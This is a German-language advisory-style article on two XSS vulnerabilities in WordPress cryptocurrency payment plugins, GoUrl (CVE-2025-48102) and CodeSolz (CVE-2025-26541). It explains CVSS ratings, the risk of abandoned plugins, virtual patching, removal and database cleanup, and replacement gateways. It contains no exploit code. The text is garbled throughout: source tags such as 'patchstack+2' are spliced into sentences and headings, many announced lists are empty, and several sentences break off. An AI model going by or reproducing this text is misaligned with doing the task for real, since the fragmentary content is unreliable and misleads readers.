Die Schwachstelle CVE-2025-48102 wurde offiziell am 5. September 2025 veröffentlicht und betrifft das beliebte GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership-Plugin in allen Versionen bis einschließlich 1.6.6. Dieser Sicherheitsfehler wird gemäß CWE-79 (Improper Neutralization of Input During Web Page Generation) als Stored XSS (Cross-Site-Scripting-Angriff) klassifiziert.
Die Schwachstelle erhielt einen CVSS-v3.1-Schweregrad von 5.9 (mittlerer Schweregrad) mit dem Angriffsvektor CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L . Die Aufschlüsselung des Vektors zeigt die folgenden Merkmale: feedly+2
Die Schwachstelle entsteht durch unsachgemäße Neutralisierung von Benutzereingaben bei der Generierung von Webseiten. Ein Angreifer mit administrativen Rechten kann bösartige Skripte in das WordPress-Content-Management-System injizieren, die dann in der Datenbank gespeichert und automatisch ausgeführt werden, wenn andere Benutzer die Seite besuchen. patchstack+2
Wie Patchstack-Experten erklären, kann ein Angreifer dadurch verschiedene schädliche Elemente injizieren, darunter:
Besonders besorgniserregend ist die Tatsache, dass das GoUrl-Plugin von seinen Entwicklern nicht mehr unterstützt wird . Laut Patchstack wurde die Software seit über einem Jahr nicht mehr aktualisiert und wird wahrscheinlich keine weiteren Updates oder Patches erhalten. Dadurch bleiben alle Websites, die dieses Plugin verwenden, dauerhaft für Ausnutzung verwundbar .
Experten der Wiz-Plattform weisen darauf hin, dass diese Stored-XSS-Schwachstelle im WordPress-Plugin GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership entdeckt und am 5. September 2025 offengelegt wurde. Obwohl für die Ausnutzung Administratorrechte erforderlich sind, kann der schädliche Code im Namen eines beliebigen Website-Besuchers ausgeführt werden , was den potenziellen Angriffsbereich erheblich erweitert.
Die zweite Schwachstelle, CVE-2025-26541 , wurde am 26. März 2025 veröffentlicht und betrifft das Plugin: CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce in allen Versionen bis einschließlich 1.7.6.
Diese Schwachstelle wird als reflektiertes XSS (Cross-Site-Scripting-Angriff) klassifiziert. Im Gegensatz zu Stored XSS tritt reflektiertes XSS auf, wenn bösartige Benutzereingaben ohne ordnungsgemäße Bereinigung direkt über eine HTTP-Antwort an den Benutzer zurückgegeben werden , wodurch der Browser des Opfers das Skript des Angreifers ausführt.
Die Schwachstelle wurde gemäß dem CVSS-v3.1-System mit dem Vektor CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L bewertet, was Folgendes anzeigt:feedly
Laut Sicherheitsforschern kann die Schwachstelle durch reflektierte XSS-Angriffe ausgenutzt werden , wodurch Angreifer bösartige Skripte in Webseiten injizieren können. Patchstack, die Plattform, die diese Schwachstelle zuerst entdeckt hat, empfiehlt zur Behebung von CVE-2025-26541, das Plugin Bitcoin/AltCoin Payment Gateway for WooCommerce auf Version 1.7.7 oder höher zu aktualisieren .
Cross-Site-Scripting (XSS) ist eine der häufigsten Schwachstellen in Webanwendungen. Verschiedenen Studien zufolge machen XSS-Schwachstellen etwa 53,3 % aller WordPress-Plugin-Schwachstellen aus .
Besonders alarmierend ist die Tatsache, dass im Jahr 2024 ganze 1.614 Plugins aufgrund von Sicherheitsbedenken aus dem WordPress.org-Repository entfernt wurden, von denen 1.450 als Schwachstellen mit hoher oder mittlerer Priorität eingestuft wurden. Viele dieser Plugins bleiben auf Websites aktiv und setzen diese ständigen Angriffen aus.
Stored-XSS-Angriffe sind besonders gefährlich , da der schädliche Code in der Datenbank der Website gespeichert und automatisch für jeden Besucher ausgeführt wird, der die infizierte Seite aufruft. Dadurch ist Stored XSS deutlich zerstörerischer als Reflected XSS, da:fastly+1
Wordfence-Experten betonen, dass im WordPress-Kontext das Hinzufügen administrativer Benutzer mit vom Angreifer kontrollierten Anmeldedaten und das Bearbeiten von Dateien zu einer vollständigen Kompromittierung der Website führen kann , und dass dies aktiv von Angreifern genutzt wird.
Für Website-Betreiber, die die betroffenen Plugins verwenden, empfehlen Experten die folgenden Sofortmaßnahmen :
Für CVE-2025-48102 (GoUrl):
Die Entdeckung der Schwachstelle CVE-2025-48102 im GoUrl-Bitcoin-Payment-Gateway-Plugin hat eine kritische Situation für Tausende von WordPress-Website-Betreibern geschaffen. Besonders alarmierend ist die Tatsache, dass standardmäßige Sicherheitsmaßnahmen keinen angemessenen Schutz bieten , während Halbheiten ein falsches Sicherheitsgefühl erzeugen können . Schauen wir uns genauer an, warum die bloße Deaktivierung des Plugins das Problem nicht löst und welche Schritte unternommen werden müssen, um die Bedrohung vollständig zu beseitigen.
Viele WordPress-Administratoren glauben fälschlicherweise, dass die Deaktivierung eines Plugins es vollständig deaktiviert und alle damit verbundenen Sicherheitsrisiken beseitigt. Dieses grundlegende Missverständnis kann jedoch verheerende Folgen haben.dotwise+2
Der entscheidende Unterschied zwischen Deaktivierung und Löschung:
Die Deaktivierung eines Plugins deaktiviert lediglich seine Funktionalität in WordPress – der Plugin-Code interagiert nicht mehr mit Ihrer Website und seine Funktionen werden nicht mehr ausgeführt. Alle Plugin-Dateien und -Daten bleiben jedoch auf dem Server , es sei denn, Sie deinstallieren das Plugin vollständig. Dieser entscheidende Unterschied ist für das Verständnis potenzieller Sicherheitsrisiken von großer Bedeutung.qodeinteractive+1
Physische Präsenz des Codes auf dem Server: Selbst wenn ein Plugin deaktiviert ist, werden seine Dateien weiterhin in einem Verzeichnis /wp-content/plugins/ auf Ihrem Server gespeichert. Wenn ein Plugin bekannte Schwachstellen aufweist, kann ein Hacker sie durch direkten Zugriff auf die Plugin-Dateien ausnutzen . Dies kann über andere Schwachstellen auf Ihrer Website geschehen, wie z. B. schwache Serversicherheit oder kompromittierte Administrator-Anmeldedaten. magnatechnology+3
Dotwise-Sicherheitsexperten betonen: „Der Code bleibt zugänglich. Selbst wenn das Plugin deaktiviert ist, bleiben seine Dateien auf Ihrem Server gespeichert. Wenn das Plugin bekannte Schwachstellen aufweist, kann ein Hacker sie durch direkten Zugriff auf die Plugin-Dateien ausnutzen. “
Gezielte Angriffe: Cyberkriminelle scannen Websites häufig nach bestimmten verwundbaren Plugins . Wenn ein verwundbares Plugin auf Ihrem Server vorhanden ist, kann es selbst im deaktivierten Zustand weiterhin von einem Angreifer angegriffen werden. magnatechnology+1
Qode-Interactive-Experten warnen: „Ein Plugin zu deaktivieren statt zu löschen ist ideal für Diagnose und Fehlerbehebung, aber es ist immer nur für den kurzfristigen Gebrauch gedacht. Wenn Sie möchten, dass Ihre WordPress-Website so sicher wie möglich vor Hackern ist, sollten Sie alle ungenutzten Plugins und deren Dateien löschen. “
Veraltete Plugins: Deaktivierte Plugins werden bei der regelmäßigen WordPress-Wartung oft übersehen . Wenn ein Plugin nicht aktualisiert wird, um Sicherheitslücken zu schließen, kann es zu einem Schwachpunkt in der Sicherheit Ihrer Website werden. Hacker nutzen häufig veraltete Software aus, und ein deaktiviertes Plugin ist keine Ausnahme.dotwise+1
Das Magna-Technology-Team merkt an: „Eines der kritischsten Probleme bei deaktivierten Plugins ist die Sicherheit. Auch wenn deaktivierte Plugins nicht ausgeführt werden, verbleiben sie in Ihrer WordPress-Installation und können zu einer Schwachstelle werden, wenn sie nicht regelmäßig aktualisiert werden. Hacker nutzen häufig veraltete Plugins aus, um Zugang zu Websites zu erhalten, selbst wenn diese Plugins inaktiv sind . „
Das Besondere an CVE-2025-48102 ist, dass das GoUrl-Bitcoin-Payment-Gateway-Plugin von seinen Entwicklern nicht mehr unterstützt wird . Dies schafft eine einzigartige und äußerst gefährliche Situation für alle Benutzer des Plugins. patchstack+1
Die offizielle Position von Patchstack: Die Patchstack-Schwachstellenseite stellt klar fest: „Diese Software ist wahrscheinlich aufgegeben! Diese Software wurde vor über einem Jahr zuletzt aktualisiert und wird wahrscheinlich keine weiteren Updates oder Patches erhalten. Bitte erwägen Sie dringend, die Software durch eine Alternative zu ersetzen.“ patchstack
Wichtige Warnung zur Deaktivierung: Patchstack stellt ausdrücklich fest: „Bitte beachten Sie, dass die Deaktivierung der Software das Sicherheitsrisiko nicht beseitigt, es sei denn, ein virtueller Patch (vPatch) wird bereitgestellt.“ patchstack
Empfehlung der Wiz-Experten : Experten der Wiz-Plattform stellen unmissverständlich fest: „Da es keinen offiziellen Fix gibt und die Software als aufgegeben gilt, ist die empfohlene Abhilfemaßnahme, das Plugin zu entfernen und durch eine aktiv gewartete Alternative zu ersetzen .
Anhaltende Verwundbarkeit: Ohne Unterstützung durch die Entwickler werden keine Sicherheitsupdates veröffentlicht . Das bedeutet, dass alle entdeckten Schwachstellen, einschließlich CVE-2025-48102, für immer ungepatcht bleiben. wiz +1
Anhäufung von Risiken: Im Laufe der Zeit , können zusätzliche Schwachstellen entdeckt werden, die ebenfalls ungepatcht bleiben. Laut Patchstack-Statistiken wurden ganze 1.450 Plugins aus dem WordPress.org-Repository entfernt im Jahr 2024 aufgrund von Schwachstellen mit hoher oder mittlerer Priorität .
Inkompatibilität mit zukünftigen Versionen: Verlassene Plugins können inkompatibel mit zukünftigen Versionen von WordPress, PHP oder anderen Abhängigkeiten werden, was zusätzliche Funktions- und Sicherheitsprobleme verursacht. mainwp +1
Virtuelles Patching ist eine Sicherheitstechnik, die bekannte Exploits blockiert, bevor sie den verwundbaren Code erreichen , ohne Änderungen an der Anwendung selbst vorzunehmen. wp-umbrella+2
OWASP-Definition: Die OWASP-Organisation definiert virtuelles Patching als „eine Ebene der Durchsetzung von Sicherheitsrichtlinien, die die Ausnutzung einer bekannten Schwachstelle . “
So funktioniert es: Virtuelle Patches analysieren Transaktionen und fangen Angriffe während der Übertragung ab, sodass bösartiger Datenverkehr die Webanwendung nie erreicht . Infolgedessen schlagen Ausnutzungsversuche fehl, obwohl der eigentliche Anwendungsquellcode nicht geändert wurde.owasp+1
Spezifität der Schwachstelle: Im Gegensatz zu allgemeinen Web Application Firewalls (WAFs), die auf breite Erkennungsmuster setzen, werden virtuelle Patches als gezielte Regeln geschrieben, die bestimmte Payloads erkennen . Wenn ein Plugin eine SQL-Injection- oder Cross-Site-Scripting-Schwachstelle aufweist, kann ein virtueller Patch die exakte Anfragesignatur abfangen und blockieren , die diese ausnutzt. wp-umbrella+1
Patchstack-Technologie: Patchstack verwendet schwachstellenspezifische JSON-Regeln , die verschiedene Anweisungen enthalten können. Beispielsweise kann ein virtueller Patch bei SQL-Injection, die durch das Einfügen einer bösartigen Payload in den POST-id-Parameter erreicht werden kann, einen Whitelist-Ansatz verwenden , bei dem die id nur eine Zahl enthalten darf. patchstack+1
Automatisierte Bereitstellung: Wenn eine Schwachstelle entdeckt und mit einer CVE-Kennung dokumentiert wird, verifizieren Sicherheitsforscher – oder Plattformen wie Patchstack – die Schwachstelle und dokumentieren genau, wie der Exploit funktioniert . Dies wird zur Grundlage für einen virtuellen Patch, der dann automatisch auf allen geschützten Websites bereitgestellt werden kann.
Wichtigste Vorteile:
Kritische Einschränkungen für CVE-2025-48102:
Trotz aller Vorteile des virtuellen Patching ist es keine langfristige Lösung für das verlassene GoUrl-Plugin . Patchstack warnt deutlich, dass die Deaktivierung der Software die Sicherheitsbedrohung nicht beseitigt, sofern kein virtueller Patch bereitgestellt wird . Sich jedoch ausschließlich auf einen virtuellen Patch für kontinuierlichen Schutz vor verlassener Software zu verlassen, ist eine gefährliche Strategie , denn:patchstack
Berücksichtigt man alle Faktoren – das Fehlen eines offiziellen Fixes, den Status der verlassenen Software, die Unzulänglichkeit der Deaktivierung und den vorübergehenden Charakter des virtuellen Patching –, sind sich Experten einig: die einzige wirksame Lösung für CVE-2025-48102 ist die vollständige Entfernung des GoUrl .wiz Plugins . +1
Expertenkonsens:
Schritt 1: Erstellen Sie ein vollständiges Backup von Jetpack+1
Bevor Sie ein Plugin entfernen, stellen Sie sicher, dass Sie ein vollständiges Backup Ihrer Website erstellen, einschließlich Dateien und Datenbank. Dadurch können Sie Ihre Website im Problemfall wiederherstellen. Empfohlene Tools: liquidweb+1
Schritt 2: Deaktivieren Sie das Plugin über das kinsta+1 Dashboard
Melden Sie sich in Ihrem WordPress-Dashboard an und gehen Sie zu Plugins → Installierte Plugins . Suchen Sie GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership und klicken Sie auf „Deaktivieren“. kinsta+1
Schritt 3: Entfernen Sie das wpbeginner+1 Plugin aus WordPress
Klicken Sie nach der Deaktivierung unter dem Plugin-Namen auf „Löschen“ . WordPress löscht die Plugin-Dateien aus dem /wp-content/plugins/.jetpack+3 Verzeichnis.
Schritt 4: Bereinigen Sie die Datenbank von hinterlassenen liquidweb+2 Tabellen
Ein kritischer Schritt: Viele WordPress-Plugins erstellen eigene Tabellen in der Datenbank, die bei der Deinstallation des Plugins nicht automatisch gelöscht werden . Diese „verwaisten Tabellen“ belegen weiterhin Speicherplatz und können sensible Daten enthalten. youtubeonlinemediamasters+3
Methoden zur Datenbankbereinigung:
A. Verwendung von Plugins zur Datenbankbereinigung: nitropack+2
Advanced Database Cleaner ist ein umfassendes WordPress-Plugin zur Datenbankbereinigung: wordpress+1
WP-Optimize ist ein beliebtes Optimierungstool: jetpack+2
Plugins Garbage Collector ist ein spezialisiertes Plugin zur Erkennung verwaister Tabellen: YouTube
B. Manuelle Bereinigung über phpMyAdmin: mehulgohil+2
Für fortgeschrittene Benutzer:
wp_gourl_*, wp_crypto_files, wp_crypto_payments, wp_crypto_membership, wp_crypto_products)wordpress+1SQL-Abfrage zum Löschen bestimmter Tabellen: liquidweb
sql:DROP TABLE wp_gourl_tablename;
Ersetzen Sie wp_gourl_tablename durch den tatsächlichen Tabellennamen. Überprüfen Sie immer doppelt , dass kein anderes Plugin die Tabelle verwendet.
Schritt 5: Prüfen Sie auf verbleibende jetpack+1 Dateien
Einige Plugins können Dateien außerhalb des Plugin-Verzeichnisses erstellen. Prüfen Sie das Verzeichnis /wp-content/uploads/ auf Ordner, die mit GoUrl verbunden sind (z. B. [ /wp-content/uploads/gourl/wordpress+2]) und löschen Sie diese über FTP oder Ihren Hosting-Dateimanager.
Schritt 6: Entfernen ungenutzter Shortcodes
Wenn GoUrl-Shortcodes in den Inhalten Ihrer Website verwendet wurden, werden sie inaktiv und als Text angezeigt . Suchen und entfernen Sie diese manuell aus Beiträgen und Seiten.
Bei der Auswahl eines Ersatzes für GoUrl sollten Sie die folgenden Faktoren berücksichtigen:
1. Aktive Unterstützung und regelmäßige Updates: wp-content+1
2. Ein starker Sicherheitsruf: paymattic+1
3. Technische Kompatibilität: crocoblock+1
BTCPay Server ist eine selbst gehostete Open-Source-Lösung: instawp+2
Blockonomics ist ein dezentrales Zahlungsgateway: slashdot+2
CryptoPay (by BeycanPress) ist ein umfassendes Krypto-Zahlungsgateway: beycanpress+1
CoinGate ist ein vertrauenswürdiger Blockchain-Zahlungsabwickler: g2+2
MyCryptoCheckout ist ein datenschutzorientiertes Plugin: instawp+2
ABC Crypto Checkout – Direkte Krypto-Zahlungen: crocoblock+1
1. Malware-Scan: solidwp+1
2. Überprüfung der Administratorkonten: wordfence+1
3. Analyse der Zugriffsprotokolle: wp-rocket+1